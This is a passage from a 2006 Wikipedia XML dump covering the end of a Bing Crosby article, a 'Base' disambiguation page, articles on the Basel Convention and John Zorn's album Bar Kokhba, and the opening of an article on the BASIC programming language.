*''Hollywood on Parade No. 9'' (1933) (short subject)
*''College Humor'' (1933)
*''Too Much Harmony'' (1933)
*''Please'' (1933) (short subject)
*''Going Hollywood'' (1933)
*''Just an Echo'' (1934) (short subject)
*''We're Not Dressing'' (1934)
*''I Surrender Dear'' (1934) (short subject)
*''She Loves Me Not'' (1934)
*''Star Night at the Cocoanut Grove'' (1934) (short subject)
*''Here Is My Heart'' (1934)
*''Mississippi'' (1935)
*''Two for Tonight'' (1935)
*''The Big Broadcast of 1936'' (1935)
*''[[Anything Goes]]'' (1936)
*''Rhythm on the Range'' (1936)
*''Pennies from Heaven'' (1936)
*''Waikiki Wedding'' (1937)
*''Double or Nothing'' (1937)
*''Don't Hook Now'' (1938) (short subject)
*''Dr. Rhythm'' (1938)
*''Hollywood Handicap'' (1938) (short subject)
*''Sing You Sinners'' (1938)
*''Screen Snapshots: Stars on Horseback'' (1939) (short subject)
*''Paris Honeymoon'' (1939)
*''East Side of Heaven'' (1939)
*''The Star Maker'' (1939)
*''Road to Singapore'' (1940)
*''Screen Snapshots Series 19, No. 6'' (1940) (short subject)
*''Swing with Bing'' (1940) (short subject)
*''Rhythm on the River'' (1940)
*''If I Had My Way'' (1940)
*''Angels of Mercy'' (1941) (short subject) 
*''Road to Zanzibar'' (1941)
*''Birth of the Blues'' (1941)
*''My Favorite Blonde'' (1942) (Cameo)
*''[[Holiday Inn (film)|Holiday Inn]]'' (1942)
*''[[Road to Morocco]]'' (1942)
*''Star Spangled Rhythm'' (1942)
*''[[Show Business at War]]'' (1943) (short subject)
*''Dixie'' (1943)
*''[[Going My Way]]'' (1944)
*''Road to Victory'' (1944) (short subject)
*''The Princess and the Pirate'' (1944) (Cameo)
*''Here Come the Waves'' (1944)
*''The All-Star Bond Rally'' (1945) (short subject)
*''[[Duffy's Tavern]]'' (1945)
*''Hollywood Victory Caravan'' (1945) (short subject)
*''[[The Bells of St. Mary's]]'' (1945)
*''Screen Snapshots: Hollywood Celebrations'' (1945) (short subject)
*''Road to Utopia'' (1946)
*''Screen Snapshots: Famous Fathers and Sons'' (1946) (short subject)
*''[[Blue Skies (movie)|Blue Skies]]'' (1946)
*''[[My Favorite Brunette]]'' (1947) (Cameo)
*''Welcome Stranger'' (1947)
*''Variety Girl'' (1947)
*''[[Road to Rio]]'' (1947)
*''[[The Emperor Waltz]]'' (1948)
*''[[A Connecticut Yankee in King Arthur's Court]]'' (1949)
*''Screen Snapshots: Hollywood's Happy Homes'' (1949) (short subject)
*''Jolson Sings Again'' (1949) (voice only)
*''Top o' the Morning'' (1949)
*''[[The Adventures of Ichabod and Mr. Toad]]'' (1949) (voice)
*''Alberta Vacation'' (1950) (short subject)
*''Riding High'' (1950)
*''Screen Actors'' (1950) (short subject)
*''Mr. Music'' (1950)
*''You Can Change the World'' (1951) (short subject)
*''Here Comes the Groom'' (1951)
*''[[Angels in the Outfield (1951 film)|Angels in the Outfield]]'' (1951) (Cameo)
*''[[The Greatest Show on Earth]]'' (1952) (Cameo)
*''[[Son of Paleface]]'' (1952) (Cameo)
*''Just for You'' (1952)
*''Crusade for Prayer'' (1952) (short subject)
*''[[Road to Bali]]'' (1952)
*''Off Limits'' (1953) (appears on a TV)
*''[[Scared Stiff]]'' (1953) (Cameo)
*''[[Little Boy Lost]]'' (1953)
*''[[White Christmas (film)|White Christmas]]'' (1954)
*''[[The Country Girl]]'' (1954)
*''Hollywood Mothers and Fathers'' (1955) (short subject)
*''Showdown at Ulcer Gulch'' (1956) (short subject)
*''Bing Presents Oreste'' (1956) (short subject)
*''[[Anything Goes]]'' (1956)
*''[[High Society]]'' (1956)
*''The Heart of Show Business'' (1957) (short subject)
*''Man on Fire'' (1957)
*''[[The Legend of Sleepy Hollow]]'' (1958) (short subject) (voice)
*''[[Alias Jesse James]]'' (1959) (Cameo)
*''Say One for Me'' (1959)
*''Let's Make Love'' (1960) (Cameo)
*''[[High Time (film)|High Time]]'' (1960)
*''[[Pepe (film)|Pepe]]'' (1960) (Cameo)
*''[[The Road to Hong Kong]]'' (1962)
*''[[Robin and the 7 Hoods]]'' (1964)
*''Cinerama's Russian Adventure'' (1966) (documentary) (narrator)
*''[[Stagecoach (film)|Stagecoach]]'' (1966)
*''Bing Crosby's Washington State'' (1968) (short subject) 
*''The World of Sport Fishing'' (1972) (documentary)
*''Cancel My Reservation'' (1972) (Cameo)
*''Just One More Time'' (1974) (short subject)
*''[[That's Entertainment!]]'' (1974) (narrator)

==Television Work==
*''The Bing Crosby Show'' (1954)
*''The Edsel Show'' (1957)
*''Bing Crosby in London'' (1961)
*''The Bing Crosby Show'' (1964-1965)
*''Bing Crosby in Dublin'' (1965)
*''Goldilocks'' (1971) (voice)
*''Dr. Cook's Garden'' (1971)
*''Bing Crosby and Fred Astaire: A Couple of Song and Dance Men'' (1975) 
*''The Bell Telephone Jubilee'' (1976)

==Discography==
These Are Crosby's [[Gramophone records]] or LPs [[Image:Music album record white christmas.jpg|right|thumb|Bing Crosby's album [[White Christmas]] has not been out of print since 1947 and has entered the [[Billboard]] Top 40 charts 5 times including multiple times in the top five.]]

*1953 ''[[Le Bing: Song Hits of Paris]]''
*1953 ''[[Some Fine Old Chestnuts]]''
*1953 ''[[White Christmas soundtrack]]'' (w/ [[Peggy Lee]] and [[Danny Kaye]])
*1954 ''[[Bing: A Musical Autobiography]]''
*1956 ''[[High Society]]''
*1956 ''[[Songs I Wish I Had Sung the First Time Around]]
*[[1956]] ''[[Bing Sings Whilst Bregman Swings]]''
*1957 ''[[Bing with a Beat]]''
*1957 ''[[New Tricks]]''
*1958 ''[[Fancy Meeting You Here]]'' ( w/ [[Rosemary Clooney]])
*1959 ''[[How the West was Won]]''
*1959 ''[[Join Bing and Sing Along]]''
*1960 ''[[El Senor Bing]]''
*1960 ''[[Bing and Satchmo]]''
*1960 ''[[101 Gang Songs]]''
*1961 ''[[Holiday in Europe]]''
*1962 ''[[On the Happy Side]]''
*1962 ''[[I Wish You a Merry Christmas]]''
*1963 ''[[Return to Paradise Islands]]''
*1963 ''[[Great Country Hits]]''
*1964 ''[[That Traveling Two-Beat]]'' (w/ [[Rosemary Clooney]])
*1965 ''[[The Songs I Love]]'' 
*1968 ''[[Thoroughly Modern Bing]]''
*1968 ''[[The Songs I Love]]''
*1968 ''[[Hey Jude Hey Bing]]''
*1971 ''[[A Time to Be Jolly]]''
*1972 ''[[Bing 'n' Basie]]''
*1975 ''[[A Southern Memoir]]
*[[1975]] ''[[That's What Life Is All About]]''
*1975 ''[[Bingo Viejo]]''
*1975 ''[[A Couple of Song and Dance Men]]''
*1976 ''[[Bing Crosby Live at the London Palladium]]''
*1976 ''[[At My Time of Life]]''
*1976 ''[[Feels Good Feels Right]]''
*1976 ''[[Beautiful Memories]]''
*1977 ''[[Seasons(Bing Crosby album)|Seasons]]

== Samples ==
*[[Media:WhiteChristmas.ogg|Download sample]] of &quot;White Christmas

== References ==
* Giddins, Gary.  ''A Pocketful of Dreams: The Early Years, 1903-1940''.  Boston, New York, &amp; London: Little, Brown and Company, 2001.  ISBN 0316886459

# ''A Pocketful of Dreams'', p. 259
# ''A Pocketful of Dreams'', p. 3

*The Steven Lewis Internet Museum 
*[http://www.waynesthisandthat.com/elvisbing.html Bing Crosby, Elvis Presley Comparison Page]
*[http://history.acusd.edu/gen/recording/derbingle.html  Bing Crosby sales estimates]
*[http://www.waynesthisandthat.com/elvisbing.html  Bing Crosby sales estimates]
*[http://history.acusd.edu/gen/recording/derbingle.html  Technolgical Influence]
== External links ==
* [http://www.waynesthisandthat.com/mus.htm Most Popular Entertainer of the Twentieth Century] - a statistical analysis arguing why this title should go to Bing Crosby
* [http://www.kcmetro.cc.mo.us/pennvalley/biology/lewis/crosby/bing.htm Bing Crosby Internet Museum]
* {{imdb name|id=0001078|name=Bing Crosby}}
* [http://www.geocities.com/BourbonStreet/3754/bing.html Immortal Talent's of Bing Crosby] - (A definitive fan site)
* [http://www.waynesthisandthat.com/greatestsingers3.htm Most popular Singers of the 20th century]
* [http://www.philsilversshow.homestead.com/BingCrosby.html Bing on the Phil Silvers Show ]

&lt;!-- Going My Way --&gt;
&lt;!-- The Bells of St. Mary's, The Country Girl --&gt;

[[Category:1903 births|Crosby, Bing]]
[[Category:1977 deaths|Crosby, Bing]]
[[Category:American film actors|Crosby, Bing]]
[[Category:American jazz singers|Crosby, Bing]]
[[Category:Baseball executives|Crosby, Bing]]
[[Category:Best Actor Oscar Nominee|Crosby, Bing]]
[[Category:Best Actor Oscar|Crosby, Bing]]
[[Category:English Americans|Crosby, Bing]]
[[Category:Entertainers who died in their 70s|Crosby, Bing]]
[[Category:Hollywood Walk of Fame|Crosby, Bing]]
[[Category:Irish-Americans|Crosby, Bing]]
[[Category:Roman Catholic musicians|Crosby, Bing]]
[[Category:Spokanites|Crosby, Bing]]
[[Category:Tap dancers|Crosby, Bing]]
[[Category:Traditional pop music singers|Crosby, Bing]]
[[Category:Early videotape recordings]]
[[Category:Bing Crosby]]
[[Category:Crooners]]

[[cy:Bing Crosby]]
[[da:Bing Crosby]]
[[de:Bing Crosby]]
[[es:Bing Crosby]]
[[fr:Bing Crosby]]
[[hr:Bing Crosby]]
[[it:Bing Crosby]]
[[nl:Bing Crosby]]
[[ja:ビング・クロスビー]]
[[no:Bing Crosby]]
[[pl:Bing Crosby]]
[[sv:Bing Crosby]]</text>
    </revision>
  </page>
  <page>
    <title>Base</title>
    <id>4011</id>
    <revision>
      <id>40840405</id>
      <timestamp>2006-02-23T09:52:03Z</timestamp>
      <contributor>
        <username>Koffieyahoo</username>
        <id>282389</id>
      </contributor>
      <minor />
      <comment>adapt link</comment>
      <text xml:space="preserve">A '''base''' is:
{{wiktionarypar|base}}
* In [[computing]]:
** [[database]] is an organized collection of data.
***it is the name of the database for [[OpenOffice.org]]
** [[Google Base]] is an [[internet]] [[database]] service from [[Google]].

*In [[mathematics]]:
**A number that is raised to a power; the [[Base (mathematics)|base]] of an [[exponential function]].  This finds common use, for example, in the depiction of numbers, for instance, 10 is the base used in the [[decimal]] system, whereas 2 is the base in the [[binary numeral system]]. See also [[numeral system]], [[radix]] and [[table of bases]].
**The base of a [[logarithm|logarithmic]] function.
**One of the [[Parallel (geometry)|parallel]] sides of a [[trapezoid]] or the unequal side of an isosceles [[triangle (geometry)|triangle]].
**In [[topology]], a [[base (topology)|base]] for a topology is a set of open sets such that every element of the topology is a union of the base sets.  See also [[subbase]].
**In [[group theory]], if a group acts on a set ''X'', a [[base (group theory)|base]] is a special subset of ''X'' used in [[computational group theory]].
**You may also be interested in [[basis (linear algebra)|basis]] of a [[vector space]] in [[linear algebra]].

*In [[politics]]:
** [[base (politics)|base]] is a [[political party]]'s core group of [[vote]]rs.
**As modified by the word [[tax]], it refers to how much income and assets one has, earns, spends, inherits, and other financial information as used in the formula to decide owed tax (example: owed tax = (base  * tax percent) - deductible).

*In [[warfare]], a [[military base]] is a [[logistics]] point such as a supply dump and a concentrated facility for storing and repairing military equipment such as an [[air force base]].
**In [[2001]], the catchphrase &quot;[[All your base are belong to us]]&quot; swept across the [[Internet]].

*In [[sport]]
**[[baseball]], a [[base (baseball)|base]] is one of 4 bags or plates placed at corners of the infield diamond that a player has to run to after hitting the ball.
**[[BASE jumping]] is an extreme variation on [[skydiving]].

*In a [[transistor]] the base is the controlling connection to the [[junction]].

*In [[Marxism]] describes the material equipment and material relations of human society, as distinct from the 'superstructural' forms of society.. 

*The name of the terrorist group [[Al-Qaida]] translates as &quot;the base.&quot;

*In [[chemistry]], a [[base (chemistry)|base]] is the reactive complement to an [[acid]]. See [[Acid-base reaction theories]].
**With reference to [[medication|drugs]], '''base''' is a [[colloquialism]] for amphetamine or [[crack cocaine|freebase cocaine]].

*In [[genetics]], a [[base pair]] consists of two complimentary [[DNA]] or [[RNA]] [[nucleotides]] joined by [[hydrogen bond]]s.

*In [[linguistics]], a base is a synonym for [[root word]].

*In [[telecommunications]], [[BASE (mobile)|BASE]] is a mobile telephony company in Belgium, a subsidiary of the [[Netherlands|Dutch]] telecommunications company [[KPN]].

*An isolated settlement in inhospitable conditions that must rely on outside help in order to survive, such as Antarctica base or [[Moon base]].

* In architecture, a '''base''' is the part of a [[column]] between the bottom of the shaft and the top of the pedestal.

*An easily-confused homonym for [[Bass|Bass (disambiguation)]], referring to various usages of bass and to basso, the vocal range.

{{disambig}}

[[ca:Base]]
[[de:Base]]
[[es:Base]]
[[fr:Base]]
[[pl:Zasada (chemia)]]
[[pt:Base]]</text>
    </revision>
  </page>
  <page>
    <title>Basel Convention</title>
    <id>4012</id>
    <revision>
      <id>40121505</id>
      <timestamp>2006-02-18T07:38:59Z</timestamp>
      <contributor>
        <ip>208.12.28.50</ip>
      </contributor>
      <text xml:space="preserve">The '''Basel Convention''' (verbose: '''Basel Convention on the Control of Transboundary Movements of Hazardous Wastes and Their Disposal''') is an international [[treaty]] that was designed to reduce the movements of [[hazardous waste]] between nations, and specifically to prevent [[dumping]] of hazardous waste from [[developed countries|developed]] to [[Less Developed Countries|less developed countries]] (LDCs).  The [[Convention]] is also intended to minimize the amount and [[toxicity]] of wastes generated, to ensure their environmentally sound management as closely as possible to the source of generation, and to assist LDCs in environmentally sound management of the hazardous and other wastes they generate.

The Convention was opened for signature on [[March 22]], [[1989]], and entered into force on [[May 5]], [[1992]]. A list of parties to the Convention, and their ratification status, can be found on the Basel Secretariat's [http://www.basel.int/ratif/convention.htm web page].  Of the 166 parties to the Convention, [[Afghanistan]], [[Haiti]], and the [[United States]] have signed the Convention but have not yet [[ratification|ratified]] it. 

==History==
With the tightening of environmental laws (e.g., [[RCRA]]) in developed nations in the 1970s, disposal costs for hazardous waste rose dramatically.  At the same time, globalization of shipping made transboundary movement of waste more accessible, and many LDCs were desperate for foreign currency.  Consequently, the trade in hazardous waste, particularly to LDCs, grew rapidly.

One of the incidents which led to the creation of the Basel Convention was the [[Khian Sea waste disposal incident|''Khian Sea'' waste disposal incident]], in which a ship carrying incinerator ash from the city of Philadelphia in the United State after having dumped half of its load on a beach in Haiti, was forced away where it sailed for many months, changing its name several times unable to unload its cargo in any port, and ended up dumping much of it illegally at sea.

==Basel Ban Amendment==
After the initial adoption of the Convention, some LDCs and environmental organizations argued that it did not go far enough.  Many nations and [[Non-governmental organization|NGOs]] argued for a total ban on shipment of all hazardous waste to LDCs.  In particular, the original Convention did not prohibit waste exports to any location except Antactica but merely required a notification and consent system known as &quot;prior informed consent&quot; or PIC.  Further, many waste traders sought to exploit the good name of recycling and begin to justify all exports as moving to recycling destinations. Many believed af full ban was needed including exports for recycling.  These concerns led to several regional waste trade bans, including the [[Bamako Convention]]. 

Lobbying at the 1995 Basel conference by LDCs, [[Greenpeace]] and key European countries such as Denmark, led to a decision to adopt the [[Basel Ban Amendment]] to the Basel Convention.  Not yet in force, but considered morally binding by signatories, the Amendment prohibits the export of hazardous waste from a list of developed (mostly [[OECD]]) countries to developing countries.  The Basel Ban applies to export for any reason, including [[recycling]].  An area of special concern for advocates of the Amendment was the sale of ships for salvage, [[shipbreaking]].   The Ban Amendment was strenuously opposed by a number of industry groups as well as nations including the [[United States]] and [[Canada]].  As of late-[[2005]], 61 nations have ratified the Basel Ban Amendment; 62 are required for it to enter into force. The status of the amendment ratifications can be found on the Basel Secretariat's [http://www.basel.int/ratif/ban-alpha.htm web page]. The [[European Union]] fully implemented the Basel Ban in its [[Waste Shipment Regulation]] ([[EWSR]]), making it legally binding in all EU member states.

==References==
* [[CIA World Factbook]], [[2003]] edition
* ''Toxic Exports'', Jennifer Clapp, Cornell University Press, 2001.
* Basel Action Network website (www.ban.org)

==See also==
*[[Bamako Convention]]

==External links==
* [http://www.greenpeaceweb.org/shipbreak/basel.asp Page on the Basel Convention at the Greenpeace website]
* [http://www.basel.int/ Secretariat of the Basel Convention web site]
* [http://www.baselpretoria.org.za/ Basel Convention Regional Centre Pretoria]
* [http://www.ban.org Basel Action Network]

[[Category:1992 in law]]
[[Category:Treaties on the environment]]
[[Category:Waste]]

[[cs:Basilejská úmluva]]
[[de:Basler Übereinkommen]]</text>
    </revision>
  </page>
  <page>
    <title>Bar Kokhba</title>
    <id>4013</id>
    <revision>
      <id>38454872</id>
      <timestamp>2006-02-06T12:28:04Z</timestamp>
      <contributor>
        <username>Nikai</username>
        <id>9759</id>
      </contributor>
      <minor />
      <comment>/* Personnel */ dab organ</comment>
      <text xml:space="preserve">{{dablink|For the 2nd-century Jewish military leader see [[Simon bar Kokhba]].}}
----
{| class=&quot;infobox&quot; style=&quot;width:20em;&quot;
|- style=&quot;text-align:center;&quot;
!style=&quot;background: Orange;&quot; colspan=&quot;3&quot;|'''''Bar Kokhba'''''
|- style=&quot;text-align:center;&quot;
|colspan=&quot;3&quot;|[[Image:Bar Kokhba (album cover).jpg|200px|Album cover]]
|- style=&quot;text-align:center;&quot;
!style=&quot;background: Orange;&quot; colspan=&quot;3&quot;|[[Album]] by [[John Zorn]]
|- style=&quot;vertical-align:top;&quot;
|'''Released'''
|colspan=&quot;2&quot;|[[1996]]
|- style=&quot;vertical-align:top;&quot;
|'''Recorded'''
|colspan=&quot;2&quot;|August 1994, December 1995, &amp; March 1996; Baby Monster Studios, [[New York City|NY]]
|- style=&quot;vertical-align:top;&quot;
|'''[[Music genre|Genre]]'''
|colspan=&quot;2&quot;|[[Avant-garde jazz]]
|- style=&quot;vertical-align:top;&quot;
|'''Length'''
|colspan=&quot;2&quot;|128:09
|- style=&quot;vertical-align:top;&quot;
|- style=&quot;vertical-align:top;&quot;
|style=&quot;padding-right:1em;&quot;|'''[[Record label|Label]]'''
|colspan=&quot;2&quot;|[[Tzadik]]
|- style=&quot;vertical-align:top;&quot;
|'''[[Record producer|Producer]]
|colspan=&quot;2&quot;|John Zorn
|- style=&quot;text-align:center;&quot;
!style=&quot;background: Orange;&quot; colspan=&quot;3&quot;|Professional reviews
|-
|colspan=&quot;3&quot;|&lt;nowiki&gt;&lt;/nowiki&gt;
* [[All Music Guide]] [[Image:4hv out of 5.png]] [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:l1uw6j8o71w0]
|- style=&quot;text-align:center;&quot;
!style=&quot;background: Orange;&quot; colspan=&quot;3&quot;|John Zorn chronology
|- style=&quot;text-align:center; font-size:smaller;&quot;
|style=&quot;width: 33%;&quot;|''[[Filmworks III]]'' &lt;br /&gt; (1996)
|style=&quot;width: 33%;&quot;|''Bar Kokhba''&lt;br /&gt;(1996)
|style=&quot;width: 33%;&quot;|''[[Masada: Zayin]]''&lt;br/ &gt; (1996) 
|}
'''''Bar Kokhba''''' is a [[double album]] by [[John Zorn]], recorded between 1994 and 1996. It is made up of music from Zorn's ''Masada'' project, rearranged from quartet pieces to various groupings (from solo to quartets).

==Track listing==
::'''Disc 1'''
#&quot;Gevurah&quot; (6:55)
#&quot;Nezikin&quot; (1:51)
#&quot;Mahshav&quot; (4:33)
#&quot;Rokhev&quot; (3:10)
#&quot;Abidan&quot;  (5:19)
#&quot;Sheloshim&quot; (5:03)
#&quot;Hath-Arob&quot; (2:25)
#&quot;Paran&quot; (4:48)
#&quot;Mahlah&quot; (7:48)
#&quot;Socoh&quot; (4:07)
#&quot;Yechida&quot;  (8:24)
#&quot;Bikkurim&quot; (3:25)
#&quot;Idalah-Abal&quot; (5:04)&lt;br&gt;&lt;br&gt;
#:'''Disc 2'''
#&quot;Tannaim&quot; (4:38)
#&quot;Nefesh&quot; (3:33)
#&quot;Abidan&quot; (3:13)
#&quot;Mo'ed&quot; (4:59)
#&quot;Maskil&quot;  (4:41)
#&quot;Mishpatim&quot; (6:46)
#&quot;Sansanah&quot; (6:56)
#&quot;Shear-Jashub&quot; (2:06)
#&quot;Mahshav&quot; (4:50)
#&quot;Sheloshim&quot; (6:45)
#&quot;Mochin&quot; (13:11)
#&quot;Karaim&quot; (3:39)

''(all compositions by John Zorn.)''

==Personnel==
*[[John Zorn]]: [[alto saxophone]]
*[[Mark Feldman]] (2,4,6,10,12,14,16,20,21,25): [[violin]]
*[[Erik Friedlander]] (2,4,6,10,12,14,16,21,25): [[cello]]
*[[Greg Cohen]] (2,4,6,9,10,12,14,16,18,21,25): [[Double bas|bass]]
*[[Marc Ribot]] (9,18,24): [[guitar]]
*[[Anthony Coleman]] (1,3,11,17,19): [[piano]]
*[[David Krakauer]] (3,8): [[clarinet]]s
*[[John Medeski]] (5,7,8,13,15,17,20,22,23): [[organ (music)|organ]], piano
*[[Mark Dresser]] (1,15,19): bass
*[[Kenny Wollesen]] (1,2,15,19,23): [[Drum kit|drums]]
*[[Chris Speed]] (5,13,20,23): clarinet
*[[Dave Douglas]] (23): [[trumpet]]

[[Category:Jazz albums]]
[[Category:1996 albums]]</text>
    </revision>
  </page>
  <page>
    <title>Bipolar Disorder</title>
    <id>4014</id>
    <revision>
      <id>15902316</id>
      <timestamp>2003-07-14T17:14:34Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>redirecting as per naming conventions</comment>
      <text xml:space="preserve">#redirect [[Bipolar disorder]]</text>
    </revision>
  </page>
  <page>
    <title>BASIC programming language</title>
    <id>4015</id>
    <revision>
      <id>41609308</id>
      <timestamp>2006-02-28T14:07:13Z</timestamp>
      <contributor>
        <username>Mohammed Khalil</username>
        <id>541247</id>
      </contributor>
      <minor />
      <comment>+ar</comment>
      <text xml:space="preserve">'''BASIC''' ('''''B'''eginner's '''A'''ll-purpose '''S'''ymbolic '''I'''nstruction '''C'''ode''{{ref|name}}) is a family of high-level [[programming language]]s. Originally invented in [[1964]] by [[John George Kemeny]] and [[Thomas Eugene Kurtz]] at [[Dartmouth College]], it was designed to allow students not in science fields to use computers. At the time all computer use required writing custom software, which was something only [[scientists]] and [[mathematician]]s tended to do. It became widespread on [[home computer|home microcomputers]] in the [[1980s]], and remains popular to this day in a handful of heavily evolved [[dialect]]s.
[[Image:AtariBasicExample.png|right|thumb|250px|[[Atari BASIC]] screenshot.]]

== History ==

=== Background === 
Prior to the mid-[[1960s]], [[computers]] were highly expensive tools used only for special-purpose tasks. In a simple form of [[batch processing]], these machines ran only a single &quot;job&quot; at a time. During the 1960s, however, computer prices started to drop to where even small companies could afford them, and their speed increased to the point where they often sat idle without jobs to run.

Programming languages of the era tended to be designed, like the machines on which they ran, for specific purposes (such as [[scientific formula]] processing or [[text editor | text editing]]). Since single-job machines were expensive, the tendency was to consider execution speed the most important feature of a language. In general, these specialized languages were difficult to use and used widely disparate [[syntax]].

It was at this time that the [[time-sharing]] system concept started to become popular. In such a system the processing time of the main computer is &quot;sliced up&quot; and each user is given a small amount in alternation. The machines were fast enough for most users to feel they had a single machine all to themselves. In theory, timesharing reduced the cost of computing tremendously, as a single machine could be shared among hundreds of users.

=== Early years &amp;mdash; the mini computer era ===

The original BASIC language was invented in [[1963]] by [[John George Kemeny|John Kemeny]] and [[Thomas Eugene Kurtz|Thomas Kurtz]] and implemented by a team of Dartmouth students under their direction. BASIC was designed to allow students to write programs for the [[Dartmouth Time-Sharing System]]. BASIC was intended to address the complexity issues of older languages with a new language designed specifically for the new class of users the time-sharing systems allowed &amp;mdash; that is, a &quot;simpler&quot; user who was not as interested in speed as in simply being able to use the machine. In the following years, as other dialects of BASIC appeared, Kemeny and Kurtz' original BASIC dialect became known as ''[[Dartmouth BASIC]]''.

The eight design principles of BASIC were:
# Be easy for beginners to use.
# Be a [[general-purpose programming language]].
# Allow advanced features to be added for experts (while keeping the language simple for beginners).
# Be [[interactive]].
# Provide clear and friendly [[error message]]s.
# Respond fast for small programs.
# Not require an understanding of computer hardware.
# Shield the user from the operating system.

The language was based partly on [[FORTRAN programming language|FORTRAN II]] and partly on [[Algol programming language|ALGOL 60]], with additions to make it suitable for timesharing. (The features of other time-sharing systems such as JOSS and CORC, and to a lesser extent LISP, were also considered). It had been preceded by other teaching-language experiments at Dartmouth such as the DARSIMCO (1956) and DOPE (1962 implementations of SAP and DART (1963) which was a simplified FORTRAN II.  Initially it concentrated on straightforward mathematical work, with [[matrix (math)|matrix]] arithmetic and full (ASCII) string functionality added by 1965. BASIC was first implemented on the [[GE-200 series|GE-265]] [[mainframe computer|mainframe]] which supported multiple [[computer terminal|terminal]]s. Contrary to popular belief, it was a [[compiler|compiled]] language at the time of its introduction. It was also quite efficient, beating FORTRAN II and ALGOL 60 implementations on the 265 at several fairly tasking programming problems such as maximising Simpson's Rule.

The designers of the language decided that it should remain in the [[public domain]] so that the language would become widespread. They also made it available to high schools in the Dartmouth area and spent a considerable amount of effort in promoting the language. As a result, knowledge of BASIC became relatively widespread for a computer language and BASIC was implemented by a number of manufacturers, and became fairly popular on newer [[minicomputer]]s like the [[Digital Equipment Corporation|DEC]] [[Programmed Data Processor|PDP]] series and the [[Data General]] [[Data General Nova|Nova]]. In these instances the language tended to be implemented as an [[interpreter]], instead of (or in addition to) a [[compiler]].

Several years after its release, highly-respected computer professionals, notably [[Edsger W. Dijkstra]], expressed their opinions that the use of [[GOTO]] statements, which existed in many languages including BASIC, promoted poor programming practices.{{ref|dijkstra}} Some also derided BASIC as too slow or too simple.

=== Explosive growth &amp;mdash; the home computer era ===
[[Image:C64scrn.png|right|thumb|[[Commodore BASIC]] V2.]]
Notwithstanding the language's use on several minicomputers, it was the introduction of the [[Altair 8800]] [[microcomputer]] in 1975 that truly spread BASIC. Most programming languages were too large to fit in the small memory most users could afford on these machines, and with the slow storage on paper tape (or later audio cassette tape: disks of any kind were not available at any price for some years) and the lack of suitable text editors, a small language like BASIC was a good fit. BASIC also had the advantage that it was fairly well known to the young designers who took an interest in microcomputers at the time as a result of Kemeny and Kurtz's earlier proselytizing. One of the first to appear for this machine was [[Tiny BASIC programming language|Tiny BASIC]], a simple BASIC implementation originally written by Dr. [[Li-Chen Wang]], and then ported onto the Altair by Dennis Allison at the request of [[Bob Albrecht]] (who later founded [[Dr. Dobb's Journal]]). The Tiny BASIC design and the full source code were published in 1976 in DDJ.

[[Image:Msxbasic.png|right|thumb|[[MSX BASIC]] version 3.0]]
Newer companies attempted to follow the successes of [[Micro_Instrumentation_and_Telemetry_Systems|MITS]], [[IMSAI]], [[North Star]] and [[Apple Computer|Apple]], thus creating the [[home computer]] revolution; meanwhile, BASIC became a standard feature of all but a very few home computers. Most came with a BASIC interpreter in ROM. Soon there were many millions of machines running BASIC around the world, likely a far greater number than all the users of all other languages put together.

In [[1975]], [[Micro-Soft]] (then only two people &amp;mdash; [[Bill Gates]] and [[Paul Allen]]) released [[Altair BASIC programming language|Altair BASIC]]. The version written for the Altair was co-authored by Gates, Allen and [[Monte Davidoff]]. Versions of [[Microsoft BASIC]] then started appearing on other platforms under license, and millions of copies and variants were soon in use; it became one of the standard languages on the [[Apple II family|Apple II]]. By [[1979]], Microsoft was talking with several microcomputer vendors, including [[International Business Machines|IBM]], about licensing a BASIC interpreter for their computers. A version was included in the IBM PC [[Read-only memory|ROM]] chips and PCs without floppy disks automatically booted into BASIC.

There are more [[programming language dialect|dialects]] of [[BASIC programming language|BASIC]] than there are of any other [[programming language]].  All but a very few [[home computer]]s of the 1980s had a [[read-only memory|ROM]]-resident BASIC [[interpreter (computing)|interpreter]].

The [[BBC]] published [[BBC BASIC]], developed for them by [[Acorn Computers Ltd]], incorporating many extra structuring keywords, as well as comprehensive and versatile direct access to the operating system. It also featured a fully integrated assembler. BBC BASIC was a very well-regarded dialect, and made the transition from the original [[BBC Micro]] computer to more than 30 other platforms.

=== Maturity &amp;mdash; the personal computer era ===
[[Image:GW-BASIC 3.22.png|right|thumb|[[GW-BASIC]] 3.22]]
[[Image:Qb45.png|thumbnail|Microsoft [[QuickBASIC]] 4.5]]
&lt;!-- [[Image:Typical vb6 session.png|thumbnail|Microsoft [[Visual Basic]] 6.0]] --&gt;
Many newer BASIC versions were created during this period. Microsoft sold several versions of BASIC for [[MS-DOS]]/[[PC-DOS]] including [[Microsoft BASICA interpreter|BASICA]], [[Microsoft GW-BASIC interpreter|GW-BASIC]] (a BASICA-compatible version that did not need IBM's ROM) and [[Quick BASIC programming language|Quick BASIC]]. Turbo Pascal-publisher [[Borland]] published [[Turbo BASIC programming language|Turbo BASIC]] 1.0 in 1985 (successor versions are still being marketed by the original author under the name [[PowerBASIC programming language|PowerBASIC]]).

These languages introduced many extensions over home computer BASIC, such as improved [[string manipulation]] and graphics support, access to the [[file system]] and additional [[data types]]. More important were the facilities for [[structured programming]], including additional [[control structures]] and proper [[subroutine]]s supporting [[local variable]]s.

However, by the latter half of the [[1980s]] newer computers were far more complex. At the same time, computers had progressed from a hobbyist interest to tools used primarily for applications written by others, and programming as a whole became less important for the growing majority of users. BASIC started to fade, though numerous versions remained available.

BASIC's fortune reversed once again with the introduction of [[Visual Basic]] from Microsoft. Though it is somewhat difficult to consider this language to be BASIC, because of the significant shift in paradigm towards an [[object-oriented programming|object-oriented]] and [[event-driven programming|event-driven]] language. While this could be considered an evolution of the language, few of the features of [[Dartmouth BASIC]], such as line numbers and the &lt;code&gt;INPUT&lt;/code&gt; keyword, remain.

Many BASIC dialects have also sprung up in the last few years, including [[Bywater BASIC]] and [[True BASIC]]. Many other BASIC variants and adaptations are authored by hobbyists, equipment developers, and others, as it is relatively easy to develop interpreters and compilers for BASIC.

== The language ==

=== Syntax ===

Basic statements are terminated by line endings unless there is a line continuation character. A very minimal BASIC syntax only needs the LET, PRINT, IF and [[GOTO]] commands.

Line numbers were a very distinctive aspect of classic home computer BASIC. Some BASIC interpreters later appeared with a built-in RENUMBER command.

Some (but not all) modern BASIC dialects have abandoned line numbers, and support most (or all) of the structured control and data declaration constructs known in other languages like [[C programming language|C]] and [[Pascal programming language | Pascal]] (note also that some advanced versions of line number-based home computer BASICs incorporated such constructs as these to good effect): 
&lt;code&gt;
* do - loop - while - until - exit
